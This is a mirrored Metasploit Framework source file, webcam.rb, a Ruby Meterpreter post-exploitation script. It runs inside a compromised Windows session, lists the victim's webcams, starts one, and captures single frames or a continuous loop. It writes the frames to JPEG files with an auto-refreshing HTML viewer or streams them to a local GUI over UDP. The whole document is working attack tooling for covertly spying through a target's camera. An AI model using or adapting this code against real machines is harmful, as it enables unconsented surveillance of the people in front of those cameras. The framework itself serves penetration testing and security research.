CoCalc -- webcam.rb

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/webcam.rb
Views: ¹⁹⁰⁴
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##
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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
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# If you'd like to improve this script, please try to port it as a post
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# module instead. Thank you.
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##
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#  Author: scriptjunkie
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#
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# Simplify running webcam, whether grabbing a single frame or running
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# a continuous loop.
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@client = client
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opts = Rex::Parser::Arguments.new(
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  "-h" => [ false, "Help menu" ],
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  "-f" => [ false, "Just grab single frame"],
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  "-l" => [ false, "Keep capturing in a loop (default)" ],
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  "-d" => [ true, "Loop delay interval (in ms, default 1000)" ],
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  "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
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  "-q" => [ true, "The JPEG image quality (Default: 50)" ],
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  "-g" => [ false, "Send to GUI instead of writing to file" ],
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  "-s" => [ true, "Stop recording" ],
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  "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ],
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  "-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ]
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)
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iterator = 0
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folderpath = "."
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single = false
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quality = 50
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index = 1
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interval = 1000
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gui = false
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saveAll = false
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opts.parse(args) { |opt, idx, val|
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  case opt
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  when "-h"
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    print_line "webcam -- view webcam over session"
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    print_line(opts.usage)
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    raise Rex::Script::Completed
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  when "-f"
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    single = true
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  when "-l"
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    single = false
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  when "-d"
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    interval = val.to_i
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  when "-i"
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    index = val.to_i
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  when "-q"
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    quality = val.to_i
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  when "-g"
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    gui = true
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  when "-p"
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    folderpath = val
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  when "-s"
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    print_line("[*] Stopping webcam")
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    client.webcam.webcam_stop
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    raise Rex::Script::Completed
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  when "-a"
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    saveAll = true
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  end
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}
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if client.platform != 'windows'
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  print_error("This version of Meterpreter is not supported with this Script!")
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  raise Rex::Script::Completed
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end
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begin
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  camlist = client.webcam.webcam_list
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  if camlist.length == 0
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    print_error("Error: no webcams found!")
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    raise Rex::Script::Completed
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  elsif camlist.length < index
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    print_error("Error: only #{camlist.length} webcams found!")
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    raise Rex::Script::Completed
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  end
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  print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}")
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  client.webcam.webcam_start(index)
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  #prepare output
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  if(gui)
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    sock = Rex::Socket::Udp.create(
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        'PeerHost' => "127.0.0.1",
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        'PeerPort' => 16235
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      )
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  end
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  imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
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  print_line( "[*] imagepath is #{imagepath}" )
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  htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm"
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  begin
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    if single == true
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      data = client.webcam.webcam_get_frame(quality)
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      if(gui)
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        sock.write(data)
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      else
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        ::File.open( imagepath, 'wb' ) do |fd|
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          fd.write( data )
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        end
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        path = ::File.expand_path( imagepath )
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        print_line( "[*] Image saved to : #{path}" )
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        Rex::Compat.open_file( path )
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      end
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    else
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      if(!gui)
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        ::File.open(htmlpath, 'wb' ) do |fd|
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	  htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
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	   fd.write(htmlOut)
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        end
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        print_line( "[*] View live stream at: #{htmlpath}" )
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        Rex::Compat.open_file(htmlpath)
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        print_line( "[*] Image saved to : #{imagepath}" )
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      end
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      while true do
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        data = client.webcam.webcam_get_frame(quality)
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        if(gui)
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          sock.write(data)
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        else
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          ::File.open( imagepath, 'wb' ) do |fd|
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            fd.write( data )
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        ::File.open(htmlpath, 'wb' ) do |fd|
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	  htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
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	   fd.write(htmlOut)
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	    if(saveAll)
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              iterator = iterator + 1
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              imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
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            end
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        end
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      end
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        end
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        select(nil, nil, nil, interval/1000.0)
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      end
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    end
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  rescue ::Interrupt
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  rescue ::Exception => e
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    print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}")
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  end
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  print_line("[*] Stopping webcam")
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  client.webcam.webcam_stop
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  sock.close if sock != nil
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rescue ::Exception => e
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  print_error("Error: #{e.class} #{e} #{e.backtrace}")
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end
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CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

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